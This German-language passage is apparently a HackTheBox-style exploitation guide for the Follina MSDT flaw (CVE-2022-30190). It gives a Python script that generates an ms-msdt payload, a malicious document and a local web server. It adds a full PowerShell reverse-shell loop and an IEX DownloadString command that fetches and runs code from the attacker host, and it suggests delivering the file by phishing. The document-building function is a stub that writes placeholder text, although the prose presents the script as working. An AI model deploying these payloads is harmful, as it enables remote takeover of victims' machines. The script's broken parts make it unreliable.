
Automatisierter PoC-Exploit für CVE-2022-30190 (Follina), der bösartige RTF/DOCX-Dateien erzeugt, die das MSDT-Protokoll missbrauchen, um beliebige Befehle auszuführen und über PowerShell Reverse Shells zu deployen.
Follina (CVE-2022-30190) ist eine kritische Schwachstelle zur Remote-Code-Ausführung (RCE), die das Microsoft Support Diagnostic Tool (MSDT) betrifft. Dieser Fehler wurde ursprünglich über eine bösartige Datei entdeckt, die auf VirusTotal gefunden wurde, und vom Sicherheitsforscher Kevin Beaumont benannt.
Im Kontext der Outdated-Maschine von HackTheBox wird diese Schwachstelle als primärer Einstiegsvektor genutzt, um Zugriff auf das System zu erhalten.
Die Ausnutzung basiert auf dem Missbrauch des Protokollschemas ms-msdt, das es einem Angreifer ermöglicht, beliebigen Code durch das Laden externer Ressourcen auszuführen. Der Angriff kann allein durch das Öffnen oder Vorschauen eines speziell präparierten Office-Dokuments (DOCX) oder einer Rich-Text-Datei (RTF) ausgelöst werden.
Um den Angriff zu automatisieren, wird empfohlen, Proof-of-Concept-Skripte (PoC) zu verwenden, die auf Plattformen wie GitHub verfügbar sind. Das Skript follina.py ermöglicht eine einfache Konfiguration der Nutzlast.
Empfohlenes Repository: Es werden funktionale Versionen von Forschern wie John Hammond oder Edge-Security erwähnt.
Generierungsbefehl:
python3 follina.py -m command -t rtf -c "auszuführender_befehl"
Wobei:
-m den Ausführungsmodus angibt (command oder binary)-t den Dateityp (rtf oder docx)-c den zu injizierenden BefehlEine effektive Methode, um eine interaktive Konsole unter Windows zu erhalten, ist die Injektion einer PowerShell-Anweisung, die eine Reverse-Shell aus der Nishang-Suite herunterlädt und aufruft (Invoke-PowerShellTcp.ps1).
Das Exploit-Skript generiert eine bösartige HTML-Ressource, die die Base64-kodierte Anweisung enthält, und hostet sie automatisch auf einem lokalen Webserver (Port 80). Das bösartige Dokument (click_me.rtf) verweist auf diese URL, um den Windows-Diagnoseprozess auszulösen und den Code auszuführen.
In realistischen Szenarien oder bei Penetrationstests kann der Angreifer den Link zur HTML-Ressource oder das bösartige Dokument per Phishing oder SMTP (mit Tools wie swaks) an ein Opfer senden.
Sobald der Benutzer interagiert (oder eine automatisierte Aufgabe die Datei verarbeitet), interpretiert MSDT die Nutzlast und stellt eine Verbindung zur Maschine des Angreifers her.
Um die Verbindung zu empfangen, muss der Angreifer auf dem in der Reverse-Shell konfigurierten Port lauschen (z. B. mit netcat oder rlwrap). Nach erfolgreicher Ausnutzung erhält man eine interaktive Konsole mit den Berechtigungen des Benutzers, der die Aktion ausgeführt hat, was die lokale Enumeration und Privilegienerweiterung ermöglicht.
follina.pyDieses Skript automatisiert die Erstellung der bösartigen Datei (RTF oder DOCX), generiert die HTML-Ressource, die das Protokollschema ms-msdt ausnutzt, und startet einen lokalen Server, um die Nutzlast bereitzustellen.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Struktur basierend auf der Forschung von Kevin Beaumont und den erwähnten PoCs [2, 6]
def generate_payload(command):
# Der Befehl muss zur Verarbeitung durch MSDT in Base64 kodiert sein [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Nutzlast, die das ms-msdt-Protokoll missbraucht [5]
# Eine lange Zeichenkette wird verwendet, um den Puffer zu füllen und die Ausführung auszulösen
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Zusätzliches Füllmaterial, um die Verarbeitung sicherzustellen
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Generiert eine RTF-Datei, die auf die externe HTML-Ressource verweist [3, 4]
print(f"[*] Generiere bösartige Datei: {filename}")
# Hinweis: In einer echten Implementierung wird hier das OLE-Objekt injiziert, das auf server_url verweist
with open(filename, "w") as f:
f.write(f"RTF-Datei konfiguriert für Verbindung zu {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] HTTP-Server aktiv auf Port {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Ausführungsmodus [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Zu generierender Dateityp [3]")
parser.add_argument("-c", "--command", required=True, help="Auf dem Zielsystem auszuführender Befehl [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Port des lokalen Servers [7]")
args = parser.parse_args()
# 1. HTML-Payload erstellen
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Bösartiges Dokument erstellen
filename = f"click_me.{args.type}"
create_rtf(filename, "http://deine_angreifer_ip")
# 3. Server zum Empfangen der Anfrage starten [4, 7]
run_server(args.port)
Kritische Parameter: Wie in den Quellen beschrieben, verwendet das Skript -m für den Modus, -t für den Dateityp und -c für den Befehl.
PowerShell-Injektion: Eine häufige Verwendung, die im Training von s4vitar zu sehen ist, besteht darin, eine PowerShell-Anweisung zu injizieren, die eine Reverse-Shell von Nishang herunterlädt und aufruft (Invoke-PowerShellTcp.ps1), um interaktiven Zugriff zu erhalten.
Ausführung: Der Angriff wird ausgelöst, wenn das Opfer die bösartige Datei (RTF/DOCX) öffnet oder auch nur in der Vorschau betrachtet, was dazu führt, dass das System versucht, die HTML-Ressource zu laden und den Befehl über das Microsoft-Diagnosetool (MSDT) auszuführen.
Lauschen: Du musst auf dem in deiner Reverse-Shell angegebenen Port lauschen (z. B. mit netcat), um die Verbindung zu empfangen, sobald der Exploit auf der Zielmaschine ausgelöst wird.
Invoke-PowerShellTcp.ps1 (Nishang)Das Skript Invoke-PowerShellTcp.ps1 ist eines der am häufigsten verwendeten Tools aus der Nishang-Suite, um Reverse-Shells auf Windows-Systemen zu erhalten.
Das Originalskript wird aus dem offiziellen Nishang-Repository auf GitHub heruntergeladen. Die typischen Schritte zur Verwendung sind:
wget wird verwendet, um die Ressource auf den Angreifer-Rechner zu holen.reverse.ps1 oder ps.ps1, um den Aufruf von der Zielmaschine aus zu erleichtern.Um das Skript in eine selbstausführende Nutzlast umzuwandeln, wird eine Zeile wie die folgende an das Ende der .ps1-Datei angehängt:
Invoke-PowerShellTcp -Reverse -IPAddress <DEINE_ANGREIFER_IP> -Port <DEIN_PORT>
Wobei <DEINE_ANGREIFER_IP> und <DEIN_PORT> durch deine Lauschdaten ersetzt werden müssen (z. B. 10.10.14.29 und 443).
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(Hinweis: Dieser Code folgt der Logik der "gitbash" und interaktiven Terminals, die in der Lösung von Maschinen wie Compiled erwähnt wird.)
Sobald der Angreifer das Skript auf einem lokalen HTTP-Server (Port 80) hostet, wird der Befehl IEX (Invoke-Expression) auf der Zielmaschine verwendet, um es direkt im Speicher zu laden und auszuführen, ohne die Festplatte zu berühren:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<DEINE_IP>/reverse.ps1')"
Diese Methode ist grundlegend für die Ausnutzung von Schwachstellen wie Follina oder für den ersten Zugriff nach der Kompromittierung von Webdiensten. Nach der Ausführung empfängt der Angreifer die Verbindung in einer lauschenden netcat-Sitzung.
Pwned!!!